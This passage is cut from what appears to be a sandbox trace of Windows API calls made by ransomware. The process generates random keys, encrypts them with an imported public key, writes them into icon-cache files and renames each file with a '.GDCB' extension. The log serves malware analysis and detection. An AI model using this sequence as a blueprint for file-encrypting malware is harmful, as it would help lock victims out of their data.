lpBuffer=0x5e00000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0186.450] WriteFile (in: hFile=0x514, lpBuffer=0x5e10000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5e10000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0186.450] WriteFile (in: hFile=0x514, lpBuffer=0x5e20000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5e20000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0186.450] CloseHandle (hObject=0x514) returned 1 [0186.451] VirtualFree (lpAddress=0x5e20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.452] VirtualFree (lpAddress=0x5e00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.453] VirtualFree (lpAddress=0x5e10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.453] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_96.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_96.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_96.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_96.db.gdcb")) returned 1 [0186.459] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0186.461] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.461] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.461] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.462] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.462] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0186.463] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.463] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.463] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.463] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.464] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.466] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f658) returned 1 [0186.466] CryptGetKeyParam (in: hKey=0x4f7f658, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.466] CryptEncrypt (in: hKey=0x4f7f658, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5e00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.466] GetLastError () returned 0x0 [0186.466] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.466] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.468] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f518) returned 1 [0186.468] CryptGetKeyParam (in: hKey=0x4f7f518, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.468] CryptEncrypt (in: hKey=0x4f7f518, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5e10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.468] GetLastError () returned 0x0 [0186.468] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.468] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_custom_stream.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_custom_stream.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0186.470] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5e20000 [0186.471] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5e30000 [0186.472] ReadFile (in: hFile=0x514, lpBuffer=0x5e30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5e30000*, lpNumberOfBytesRead=0x285d3e8*=0x18, lpOverlapped=0x0) returned 1 [0186.481] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0186.482] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0186.483] VirtualFree (lpAddress=0x5f40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.484] SetFilePointer (in: hFile=0x514, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.484] WriteFile (in: hFile=0x514, lpBuffer=0x5f50000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesWritten=0x285d3e0*=0x20, lpOverlapped=0x0) returned 1 [0186.484] VirtualFree (lpAddress=0x5f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.485] VirtualFree (lpAddress=0x5e30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.488] WriteFile (in: hFile=0x514, lpBuffer=0x5e00000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5e00000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0186.488] WriteFile (in: hFile=0x514, lpBuffer=0x5e10000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5e10000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0186.488] WriteFile (in: hFile=0x514, lpBuffer=0x5e20000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5e20000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0186.488] CloseHandle (hObject=0x514) returned 1 [0186.489] VirtualFree (lpAddress=0x5e20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.490] VirtualFree (lpAddress=0x5e00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.490] VirtualFree (lpAddress=0x5e10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.491] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_custom_stream.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_custom_stream.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_custom_stream.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_custom_stream.db.gdcb")) returned 0 [0186.496] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0186.498] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.498] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.498] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.499] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0186.499] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0186.500] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.500] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.500] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.500] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0186.501] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0186.503] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f898) returned 1 [0186.503] CryptGetKeyParam (in: hKey=0x4f7f898, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.503] CryptEncrypt (in: hKey=0x4f7f898, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5e00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.503] GetLastError () returned 0x0 [0186.503] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.503] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0186.505] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7fc98) returned 1 [0186.505] CryptGetKeyParam (in: hKey=0x4f7fc98, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.505] CryptEncrypt (in: hKey=0x4f7fc98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5e10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.505] GetLastError () returned 0x0 [0186.505] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0186.505] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_exif.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_exif.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0186.508] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5e20000 [0186.509] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5e30000 [0186.510] ReadFile (in: hFile=0x514, lpBuffer=0x5e30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5e30000*, lpNumberOfBytesRead=0x285d3e8*=0x18, lpOverlapped=0x0) returned 1 [0186.519] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0186.520] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0186.521] VirtualFree (lpAddress=0x5f40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.522] SetFilePointer (in: hFile=0x514, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.522] WriteFile (in: hFile=0x514, lpBuffer=0x5f50000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesWritten=0x285d3e0*=0x20, lpOverlapped=0x0) returned 1 [0186.522] VirtualFree (lpAddress=0x5f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.523] VirtualFree (lpAddress=0x5e30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.526] WriteFile (in: hFile=0x514, lpBuffer=0x5e00000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5e00000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0186.526] WriteFile (in: hFile=0x514, lpBuffer=0x5e10000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5e10000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0186.526] WriteFile (in: hFile=0x514, lpBuffer=0x5e20000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5e20000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0186.526] CloseHandle (hObject=0x514) returned 1 [0186.527] VirtualFree (lpAddress=0x5e20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.528] VirtualFree (lpAddress=0x5e00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.529] VirtualFree (lpAddress=0x5e10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.529] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_exif.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_exif.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_exif.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_exif.db.gdcb")) returned 1 [0186.534] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0186.536] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.536] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.536] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.536] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.537] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0186.538] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.538] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.538] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.538] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.539] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.541] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f698) returned 1 [0186.541] CryptGetKeyParam (in: hKey=0x4f7f698, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.541] CryptEncrypt (in: hKey=0x4f7f698, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5e00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.541] GetLastError () returned 0x0 [0186.541] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.541] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0186.543] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f558) returned 1 [0186.543] CryptGetKeyParam (in: hKey=0x4f7f558, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.543] CryptEncrypt (in: hKey=0x4f7f558, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5e10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.543] GetLastError () returned 0x0 [0186.543] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.543] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_idx.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0186.548] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0186.549] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.550] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.550] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.550] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.550] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0186.551] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.552] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.552] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.552] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.553] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.555] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f818) returned 1 [0186.555] CryptGetKeyParam (in: hKey=0x4f7f818, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.555] CryptEncrypt (in: hKey=0x4f7f818, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e20000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5e20000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.556] GetLastError () returned 0x0 [0186.556] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.556] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.557] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f918) returned 1 [0186.558] CryptGetKeyParam (in: hKey=0x4f7f918, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.558] CryptEncrypt (in: hKey=0x4f7f918, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e30000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5e30000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.558] GetLastError () returned 0x0 [0186.558] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.558] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_sr.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_sr.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0186.560] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5e40000 [0186.561] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5e50000 [0186.562] ReadFile (in: hFile=0x514, lpBuffer=0x5e50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5e50000*, lpNumberOfBytesRead=0x285d3e8*=0x18, lpOverlapped=0x0) returned 1 [0186.571] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5f60000 [0186.572] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5f70000 [0186.573] VirtualFree (lpAddress=0x5f60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.574] SetFilePointer (in: hFile=0x514, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.574] WriteFile (in: hFile=0x514, lpBuffer=0x5f70000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5f70000*, lpNumberOfBytesWritten=0x285d3e0*=0x20, lpOverlapped=0x0) returned 1 [0186.601] VirtualFree (lpAddress=0x5f70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.602] VirtualFree (lpAddress=0x5e50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.606] WriteFile (in: hFile=0x514, lpBuffer=0x5e20000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5e20000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0186.606] WriteFile (in: hFile=0x514, lpBuffer=0x5e30000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5e30000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0186.606] WriteFile (in: hFile=0x514, lpBuffer=0x5e40000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5e40000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0186.606] CloseHandle (hObject=0x514) returned 1 [0186.607] VirtualFree (lpAddress=0x5e40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.608] VirtualFree (lpAddress=0x5e20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.608] VirtualFree (lpAddress=0x5e30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.609] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_sr.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_sr.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_sr.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_sr.db.gdcb")) returned 1 [0186.614] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, 